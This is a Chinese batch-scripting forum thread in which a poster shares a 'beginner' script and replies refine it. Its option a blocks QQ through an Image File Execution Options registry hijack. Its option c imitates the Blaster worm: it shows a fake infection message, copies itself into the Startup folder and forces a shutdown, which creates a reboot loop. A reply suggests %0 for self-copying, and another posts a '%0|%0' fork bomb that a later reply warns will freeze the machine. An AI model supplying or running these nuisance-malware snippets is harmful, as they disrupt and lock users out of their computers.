[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[其他] 一个简单禁止QQ运行的批处理,供新手研究!高手跳过

这个是一个很简单的一个批处理,专供新手研究!高手跳过!
  1. @echo off
  2. echo.
  3. echo                 支持原创!!!欢迎盗版!!!(待续……)
  4. echo.
  5. echo ==================================================================
  6. echo                 作者:AK47   QQ:812263357
  7. echo ==================================================================
  8. echo                a:禁止QQ运行!
  9. echo                b:恢复QQ运行!
  10. echo                c:仿冲击波病毒!
  11. set /p s=
  12. if "%s%" equ "a" goto a
  13. if "%s%" equ "b" goto b
  14. if "%s%" equ "c" goto c
  15. goto end
  16. :a
  17. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QQ.exe" /v debugger /t reg_sz /d debugfile.exe /f  &goto end
  18. :b
  19. @reg delete "hklm\software\microsoft\windows nt\currentversion\image file execution options\qq.exe" /f &goto end
  20. :c
  21. msg %username% 你的电脑已中冲击波病毒,系统将在20秒内关机!
  22. @copy a.bat "%userprofile%\「开始」菜单\程序\启动\"
  23. shutdown -s -t 20
  24. :end
  25. pause>nul
复制代码
不管黑猫白猫,会捉老鼠的猫就是好猫!

2楼这个建议非常好,第三行命令写错了,第三行应该的"a.bat"应该跟批处理本身同名才能发挥到作用!
不管黑猫白猫,会捉老鼠的猫就是好猫!

TOP

不管是什么代码,只要不是恶意代码就行,新手要学会看懂别人的代码,每天学一个简单的批处理,慢慢进阶成高手
不管黑猫白猫,会捉老鼠的猫就是好猫!

TOP

shutdown -s -t 20
如 2 楼所说,可在上面这句后加两句
ping -n 11 127.1>nul
shutdown -a
以免测试者真正被关机。

[ 本帖最后由 wxcute 于 2008-10-10 13:25 编辑 ]

TOP

三个if这样写不好
建议用if...else...代替
我帮忙写的代码不需要付钱。如果一定要给,请在微信群或QQ群发给大家吧。
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
【支持批处理之家,加入VIP会员!】http://bbs.bathome.net/thread-67716-1-1.html

TOP

原帖由 Batcher 于 2008-10-10 13:20 发表
三个if这样写不好
建议用if...else...代替


我上面这个批处理用if……else…怎样写,还请指教
不管黑猫白猫,会捉老鼠的猫就是好猫!

TOP

if "%s%"=="a" goto a
if "%s%"=="b" (goto b) else goto c

TOP

  1. set /p cho=
  2. for %%i in (a b c) do (if %%i equ %cho% (goto :%%i))
复制代码

TOP

原帖由 AK47 于 2008-10-10 10:20 发表
2楼这个建议非常好,第三行命令写错了,第三行应该的"a.bat"应该跟批处理本身同名才能发挥到作用!


批处理本身可以用变量“%0”。
虚心使人进步 细节成就完美

TOP

@reg delete "hklm\software\microsoft\windows nt\currentversion\image file
@copy a.bat "%userprofile%\「开始」菜单\程序\启动\"

似乎很多人都会在P中添加一些没用的“@”符号……
其实这里只有在末尾加“>nul”才有效果。

[ 本帖最后由 SmallK 于 2008-10-11 02:36 编辑 ]
虚心使人进步 细节成就完美

TOP

原帖由 SmallK 于 2008-10-11 02:28 发表


批处理本身可以用变量“%0”。


这个不是很懂,可以说清楚点吗?
不管黑猫白猫,会捉老鼠的猫就是好猫!

TOP

试过
  1. %0|%0
复制代码
你就清楚了.

TOP

楼上的代码会陷入死循环的!最后导致死机!!!不要误导别人!!!
虚心使人进步 细节成就完美

TOP

你的电脑已中冲击波病毒,系统将在20秒内关机!

TOP

返回列表